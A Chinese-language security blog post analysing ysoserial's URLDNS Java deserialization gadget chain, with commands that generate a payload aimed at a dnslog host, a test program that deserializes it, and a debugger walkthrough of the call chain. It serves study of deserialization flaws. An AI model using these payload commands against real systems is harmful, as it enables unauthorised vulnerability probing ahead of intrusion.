Ysoserial URLDNS鏈分析
文章首發安全客:https://www.anquanke.com/post/id/248004
0x00 寫在前面
Java提供了一種序列化的機制可以將一個Java對象進行序列化后,用一個字節序列表示,並在Java虛擬機之間或網絡間傳輸,之后可通過readObject()
方法反序列化將字節序列反序列化還原成原先的對象。而如果對於反序列化沒有做安全限制,並且反序列化點可控的話,我們可以通過一個惡意的序列化對象通過利用鏈,去達到執行任意代碼的目的。
而我們平常復現或利用反序列化漏洞時,也經常會用到ysoserial項目去生成序列化payload,下面就先分析學習一下ysoserial中的URLDNS鏈。
0x01 運行ysoserial
下載ysoserial項目源碼,導入IDEA
打開pom.xml文件,是個Maven項目,點擊刷新拉取缺少的依賴
拉取完可能還會有些爆紅的地方,但是不會影響程序運行。
下面尋找下程序的入口點,搜索mainclass即可
0x02 序列化payload生成流程
先來大致看下這個GeneratePayload的main方法。
首先進行一個判斷,是否傳入了兩個參數,如果不是則打印幫助信息;是的話會依次分別賦值給payloadType和command變量。
之后實例化了一個需要繼承ObjectPayload類的類實例化對象,跟進一下getPayloadClass方法,看看是如何實現的
在ysoserial.payloads.ObjectPayload.Utils下
可以看到會先反射一個class對象,之后獲取包名和類名並加上我們之前傳入的payloadType參數並將返回值賦值給GeneratePayload的payloadclass。
后續生成一個payloadclass所表示的類的新實例化對象賦值給payload,之后調用getObject方法,跟進看一下getObject方法
該方法定義於ObjectPayload接口,繼續跟進
發現跳到了URLDNS,且該類實現了ObjectPayload接口。
那么上面的操作就是根據輸入的參數,獲取類名並定位到該類中,也就是進入到利用鏈的類文件中,調用該類的getObject方法生成payload並將返回值(也就是序列化payload)賦值給object對象。
URLDNS中的操作我們放到后面再分析,繼續回到GeneratePayload#main方法中
之后調用serialize()方法將payload序列化並打印輸出。
那么上面將大致的payload生成流程過了一遍,下面跟進去運行測試一下,生成一個URLDNS鏈的序列化payload。
這里沒設置參數,所以可以看到出現了幫助信息,我們設置下參數
點擊Edit Configurations
,如下圖設置參數再重新運行,這里可以隨便寫個地址,或者獲取一個dnslog用於測試
這次就成功運行了,下面的亂碼數據就是上面分析過的,經過一系列操作生成的URLDNS序列化之后的payload字節序列
0x03 URLDNS鏈使用
URLDNS鏈的利用效果是發起一次遠程請求,而不能去執行命令。基本上是用來測試是否存在反序列化漏洞的一個鏈,比如在一些無法回顯執行命令的時候,可以通過URLDNS鏈去發送一個dns解析請求,如果dnslog收到了請求,就證明了存在漏洞。
下面命令行使用下URLDNS鏈看看效果
將生成的序列化payload保存在一個txt里,后面用一個測試demo讀取文件數據再給他反序列化一下,觀察dnslog請求就可以了。
java -jar ysoserial.jar URLDNS "http://ba0i6v.dnslog.cn"
java -jar ysoserial.jar URLDNS "http://ba0i6v.dnslog.cn" > URLDNS.txt
反序列化測試demo
import java.io.*;
public class URLDNSTestDemo {
public static void main(String[] args) throws Exception {
FileInputStream fis = new FileInputStream("/Users/b/Desktop/ScanTools/URLDNS.txt");
ObjectInputStream bit = new ObjectInputStream(fis);
bit.readObject();
}
}
運行demo測試是否可以成功將序列化的payload執行並在dnslog留下記錄
dnslog平台已經接收到了請求,說明我們利用測試成功了。
下面我們分析一下URLDNS鏈執行流程是怎樣的。
0x04 URLDNS鏈分析
URLDNS這條利用鏈並不依賴於第三方的類,而是JDK中內置的一些類和方法。所以並不需要一些Java的第三方類庫就可以達到目的。
打開URLDNS源碼,URLDNS.java
在最上面的注釋中,作者已經給出了URLDNS的Gadget chain
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
下面debug看一下是如何執行的。
觸發點在put
方法,我們在put
方法處打一個斷點,在Edit configurations
中設置好參數,debug mainclass文件即可
成功在斷點處停下,下面我們一步一步調試分析
首先我們看下這個ht
對象的類HashMap
,可以觀察到有序列化接口
那么全局搜一下readObject
方法,發現在最后調用了putVal
方法進行了一個hash計算
回到斷點處跟進一下putVal
方法,參數的key
和value
都是我們輸入的dnslog地址
繼續跟進,看一下hash
方法
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
這里因為傳入的key
不為0,會執行key.hashcode
方法,繼續跟一下hashcode
方法
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
這的handler
是URLStreamHandler
的對象,這里在序列化時將hashcode
值設-1,所以直接調用了handler
的hashCode
方法並重新賦值返回了hash
,繼續跟進
這里調用的是URLStreamHandler這個類的hashCode方法,此時我們傳入的URL u對象其實就是我們的dnslog地址,后面通過u.getProtocol()方法獲取了協議名字,也就是http
繼續跟進,下面會進行一個if判斷,執行語句后 h的值會加上portocal的hashCode()方法的返回值,跟一下這里調用的hashCode()方法
發現是String的hashcode()方法,這里做了一頓操作得到String的hash值並賦值給h並返回出來
繼續跟進,調用了getHostAdress方法
來看一下getHostAdress是如何實現的,觀察邏輯,這里會先后調用getHost()
、getByName()
兩個方法,最終是通過getByName(getHost())
這樣去發送的dnslog請求
到了這里,dnslog就已經可以接收到請求信息了,致此這歌利用鏈差不多就分析完了。
整個調用鏈為
HashMap.readObject() => HashMap.putVal() => HashMap.hash() => URL.hashCode() =>
URLStreamHandler.hashCode() => URLStreamHandler.hashCode().getHostAddress => URLStreamHandler.hashCode().getHostAddress.InetAddress.getByName()
0x05 URLDNS鏈中的一些細節
回到URLDNS類,可以看到還有一些其他的點其實並沒有去深入分析,比如下面這幾段代碼
...
URLStreamHandler handler = new SilentURLStreamHandler();
...
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
...
Reflections.setFieldValue(u, "hashCode", -1);
這里new的是一個SilentURLStreamHandler對象,繼承自URLStreamHandler並且重寫了兩個方法,分別是getHostAddress和openConnection且都是空方法,比較耐人尋味。
關於重寫getHostAddress方法與hashcode = -1
Java中繼承子類的同名方法會覆蓋父類的方法,所以說本來是要執行URLStreamHandler中的getHostAddress方法會變成執行他的子類SilentURLStreamHandler的getHostAddress方法(也就是空方法)。因為在默認情況下hashcode的值就是-1,那么在本地進行將 URL 對象 put 進 hashMap時如果hashcode值為-1就直接調用了getHostAddress方法也就會在生成序列化payload的時候在本地發送一次dnslog請求,所以ysoserial中給出對應的解決方法就是讓SilentURLStreamHandler繼承URLStreamHandler並重寫getHostAddress為空方法,這樣即使hashcode為-1也不會在本地發送請求(繼承子類的同名方法會覆蓋父類的方法)
Reflections.setFieldValue(u, "hashCode", -1);
最后通過反射將hashcode重新設置為-1,那么在反序列化過程就會觸發dnslog請求
關於handler
在調試的時候其實就發現了一個特殊的關鍵字transient,不可序列化,也就是說handler最終不會在我們產生的序列化payload中,所以即便SilentURLStreamHandler重寫了父類方法,也不會影響反序列化的過程
關於重寫openConnection方法
這個就比較簡單了,因為URLStreamHandler是一個抽象類,所以實現類必須實現父類的所有抽象方法
0x06 結尾
根本原因還是在HashMap存在反序列化點並重寫了readObject方法可以接受反序列化數據,之后因為hashcode=-1,通過putVal計算hash時一步步的調用直到調用getHostAddress方法,就會發起遠程請求觸發dnslog。整體下來其實並不算太復雜,只是需要耐心一點一點調試,弄清楚邏輯和一些方法的作用就可以了
文章有分析的不對的地方還請師傅們指出
參考文章: